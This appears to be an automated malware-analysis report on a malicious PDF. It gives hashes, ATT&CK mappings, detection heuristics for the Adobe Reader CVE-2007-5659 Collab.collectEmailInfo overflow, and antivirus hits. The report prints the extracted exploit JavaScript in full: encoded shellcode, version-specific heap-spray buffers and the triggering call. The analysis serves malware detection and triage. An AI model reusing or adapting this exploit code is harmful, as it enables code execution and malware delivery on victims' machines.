Malicious PDF — malware analysis report

Static analysis result for SHA-256 831e403aeb280dd5…

MALICIOUS

PDF

67.8 KB Created: 2008-02-27 16:58:09 +08:00 Authoring application: PScript5.dll Version 5.2 (via Acrobat Distiller 6.0.1 (Windows)) First seen: 2013-06-13
MD5: 68502a2a34173339c4dfef7d9ad939f7 SHA-1: a5565fc46e8b90e31097f330a6fbb904a6e94b3e SHA-256: 831e403aeb280dd5534b3c18e516169410654d81103afccb4663569f9e19882e
426 Risk Score

Malware Insights

MITRE ATT&CK
T1059.007 JavaScript T1203 Exploitation for Client Execution T1566.001 Spearphishing Attachment

This PDF file contains embedded JavaScript that leverages CVE-2007-5659 (Collab.collectEmailInfo) and other PDF JavaScript exploits. The script is heavily obfuscated but appears to be designed to download and execute a secondary payload, as indicated by the ClamAV detection of 'Win.Trojan.Dropper-82' on both the PDF and an extracted JavaScript artifact. The use of JavaScript and exploit techniques points to a malicious dropper.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9997

Heuristics 11

  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (matched in decompressed stream)
  • JavaScript action low 3 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Obfuscated multi-stage PDF JavaScript heap-spray exploit critical CVE related PDF_JS_OBFUSCATED_MULTISTAGE_HEAPSPRAY
    PDF JavaScript hidden behind nested stream filters and/or a custom in-JS decoder (rolling-XOR stager) decodes to a heap-spray / ROP chain. The spray is only visible after unwinding those layers, which is why the raw heap-spray rules miss it. This is an obfuscated multi-stage Adobe Reader JavaScript exploit; the dropped Windows payload (often named Win.Trojan.Agent by signature AV) is the second stage, not the delivery mechanism.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    sc = unescape("%u9090%u9090%u9090%u9090%uEB90%u5E1a%u5B56%u068a%u303c%u1674%uE0c0%u4604%u268a%uE480%u020f%u88c4%u4303%uEB46%uE8e9%uFFe1%uFFff"+
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • ClamAV: Win.Trojan.Dropper-82 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Trojan.Dropper-82
  • PDF embedded file could not be fully decoded medium PDF_EMBEDDED_FILE_UNDECODED
    A declared PDF /EmbeddedFile stream uses filters that the scanner could not decode. The raw stream was carved for artifact triage because malformed or unsupported attachment filters can hide payload content from normal extraction.
  • Embedded file low PDF_EMBEDDED
    PDF embeds a file attachment — could carry an executable or another weaponised document as a nested payload
  • XFA form low PDF_XFA
    PDF uses XML Forms Architecture — can contain script logic
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.w3.org/1999/xhtml In PDF document text
    • http://www.xfa.org/schema/xfa-data/1.0/In PDF document text
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In PDF document text
    • http://ns.adobe.com/iX/1.0/In PDF document text
    • http://ns.adobe.com/pdf/1.3/In PDF document text
    • http://ns.adobe.com/xap/1.0/In PDF document text
    • http://ns.adobe.com/xap/1.0/mm/In PDF document text
    • http://purl.org/dc/elements/1.1/In PDF document text

Related samples 8

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
taa pdf-embedded-file-undecodable PDF EmbeddedFile object 20 at offset 0xF00; filter decode failed 56211 bytes
SHA-256: 859bc79ae2deb38eadb6f97b87b9f11cf4587ec2f64d9637378e7e293472ce94
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact entropy is 8.00, consistent with packed or encrypted content.
javascript_obj0017_000.js pdf-javascript-stream PDF /JS object 17 at offset 0x31 4622 bytes
SHA-256: a855e1484b6aa802ce0f6f936ba6d5b5bb5556ec34d1f510cb7f17c768fa4311
Detection
ClamAV: Win.Trojan.Dropper-82
Obfuscation or payload: likely
Carved artifact contains 16 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
function re(count,what) 
{
var v = "";
while (--count >= 0) 
v += what;
return v;
} 
function start() 
{
sc = unescape("%u9090%u9090%u9090%u9090%uEB90%u5E1a%u5B56%u068a%u303c%u1674%uE0c0%u4604%u268a%uE480%u020f%u88c4%u4303%uEB46%uE8e9%uFFe1%uFFff"+
"%u7466%u515a%u7043%u7050%u7070%u5050%u6B68%u5064%u4C50%u4B68%u5077%u6C71%u4D5a%u6B58%u5047%u4850%u794e%u4453%u6250%u5070%u5050%u7875%u5168%u4C4e%u5050%u6270%u5050%u5050%u4B68%u6C4f%u4978%u5747%u7850%u4978%u7744%u5061%u6F6f%u5757%u7850%u4866%u6C4e%u7759%u4350%u6C70%u584e%u644c%u6150%u7050%u7070%u4948%u4754%u4C61%u4F4f%u5747%u7870%u4866%u764f%u5262%u594b%u4C67%u584e%u446b%u7150%u7050%u7050%u6948%u7774%u7052%u4F6f%u7777%u6870%u7876%u457a%u7761%u5050%u6C67%u684e%u544a%u7170%u7050%u7070%u7958%u7764%u7472%u4F4f%u4767%u5870%u5866%u4B6f%u6779%u6D4f%u6F50%u584e%u5449%u6150%u7050%u7070%u5958%u4764%u5852%u4F4f%u4767%u6850%u4856%u6651%u6576%u7A4f%u7041%u786e%u6458%u4150%u5070%u7070%u4978%u6764%u4C62%u6F6f%u6767%u7850%u5866%u4F41%u6967%u5A70%u684e%u686e%u7467%u5150%u7050%u5050%u4948%u5774%u5063%u4F6f%u7767%u6850%u7856%u5572%u706b%u4F4f%u726c%u484e%u6446%u5170%u5050%u5070%u7968%u5754%u7463%u6F4f%u6777%u5870%u4856%u6C5a%u4850%u7A4d%u5667%u784e%u7455%u4170%u7070%u5050%u4948%u7744%u7853%u6F4f%u4747%u7850%u4866%u4849%u4E6f%u4A58%u4E70%u586e%u4474%u6170%u5050%u5050%u5978%u5744%u4C73%u4F4f%u4757%u7850%u4846%u5467%u4968%u6C6e%u6959%u584e%u6463%u4170%u5050%u5070%u7958%u4754%u7054%u4F4f%u7777%u7850%u4846%u6E47%u784d%u524e%u5377%u786e%u4452%u4170%u7070%u7070%u5958%u5764%u4464%u6F6f%u5757%u6850%u7856%u4D5a%u6B49%u4D77%u4F4d%u784e%u7441%u7170%u7050%u7050%u7978%u6744%u6864%u6F4f%u5777%u5061%u6F6f%u6775%u6473%u6363%u766f%u4664%u6D78%u6764%u5046%u7045%u7645%u4F6f%u5755%u4854%u7358%u584f%u4F6f%u4447%u726f%u4D73%u7070%u5041%u7070%u7050%u4667%u4B4e%u7978%u4774%u7450%u4978%u5747%u5046%u6F6f%u5757%u4470%u7A46%u7054%u6F4f%u6765%u4C51%u7948%u5744%u6C45%u5A76%u5070%u6A46%u5070%u4A56%u7070%u6F6f%u5747%u7066%u6F4f%u7775%u4873%u4348%u584f%u6F4f%u4447%u6B54%u6A46%u7070%u6D78%u6F45%u5057%u5375%u4F4f%u4757%u6470%u4F6f%u5777%u6C65%u6F4f%u7747%u5056%u4F6f%u4745%u4C62%u4B68%u4F74%u5067%u7378%u696e%u7041%u4B48%u5744%u4C45%u5074%u4148%u4873%u4664%u4E62%u7A55%u4876%u7567%u4950%u5148%u5847%u6470%u6352%u7650%u7148%u6951%u5477%u5450%u526e%u6C4e%u6B6e%u4A41%u7378%u506c%u4850%u5948%u7744%u6451%u7064%u4148%u4853%u6A74%u5567%u5356%u6B64%u5557%u4970%u7178%u7847%u6470%u6241%u4150%u5348%u6961%u4447%u6E50%u624e%u4C4e%u4F6f%u5777%u6C45%u4F4f%u7745%u7052%u6F70%u5548%u4267%u6F6f%u4F4f%u6F4f%u6378%u706c%u7850%u7978%u6744%u5871%u4A76%u7070%u7866%u5068%u7050%u7070%u5070%u5A66%u6270%u5A76%u7070%u4A46%u5050%u7856%u7070%u5050%u7070%u7064%u4F4f%u4777%u5071%u6F6f%u4765%u7462%u4978%u7774%u7476%u776c%u6754%u4C46%u6D54%u7A65%u7049%u5050%u6A56%u5070%u4D78%u6F55%u7047%u5355%u7A66%u6450%u4D48%u6F65%u4C76%u6375%u6F6f%u5767%u4466%u6F4f%u6765%u7063%u4B68%u7774%u5851%u6B42%u5754%u5461%u7368%u586e%u5850%u6B78%u4F55%u7471%u7043%u5370%u6374%u7844%u5368%u786f%u5050%u6557%u474f%u5A46%u7050%u4D58%u4F65%u5067%u6375%u4B58%u4F65%u4841%u6B52%u4F65%u4441%u6358%u4B4e%u6870%u6375%u4F6f%u4757%u6441%u4F6f%u5767%u7456%u4F4f%u5745%u7073%u6F4f%u4747%u5446%u6F4f%u4765%u6862%u5A56%u7050%u6F4f%u5767%u5071%u4F6f%u6755%u6C63%u7A56%u5050%u4F4f%u4745%u4454%u7575%u6B68%u4C6e%u4745%u4B78%u4D77%u6870%u4B78%u6D75%u4C70%u6645%u4B68%u5357%u6C53%u6B48%u5457%u4E71%u7857%u4350%u736f%u6675%u4B58%u4677%u5042%u7350%u734f%u6343%u696c%u6974%u4174%u6D7a%u4370%u636c%u4675%u7373%u564f%u4F70%u6E4b%u7071%u5A73%u626f%u7467%u5850%u414c%u4E4c%u6D50%u4350%u524f%u5044%u6B4e%u514f%u4B53%u4E6f%u4E45%u5567%u454e%u4A75%u6B58%u4B6e%u6B58%u6A75%u6442%u7370%u4D6d%u7656%u4B48%u6C70%u6B74%u4B58%u4A45%u6C51%u6370%u4D4d%u6B78%u6470%u4B58%u6350%u754c%u6E45%u4F55%u6D65%u626c%u7850%u7050%u486e%u476c%u6D6f%u4F4f%u6F6f%u4346%u4A73%u6C55%u5176%u4E52%u5556%u5857%u7576%u7050" +
"%u3030");

if (app.viewerVersion >= 7.0)
{
plin = re(1124,unescape("%u0b0b%u0028%u06eb%u06eb")) + unescape("%u0b0b%u0028%u0aeb%u0aeb") + unescape("%u9090%u9090") + re(122,unescape("%u0b0b%u0028%u06eb%u06eb")) + sc + re(1256,unescape("%u4141%u4141"));
} 
else 
{
ef6 =  unescape("%uf6eb%uf6eb") + unescape("%u0b0b%u0019");
plin = re(80,unescape("%u9090%u9090")) + sc + re(80,unescape("%u9090%u9090"))+ unescape("%ue7e9%ufff9")+unescape("%uffff%uffff") + unescape("%uf6eb%uf4eb") + unescape("%uf2eb%uf1eb");
while ((plin.length % 8) != 0) 
plin = unescape("%u4141") + plin;

plin += re(2626,ef6);
}
if (app.viewerVersion >= 6.0)
{
this.collabStore = Collab.collectEmailInfo({subj: "",msg: plin});
}
}
var shaft = app.setTimeOut("start()",1200);

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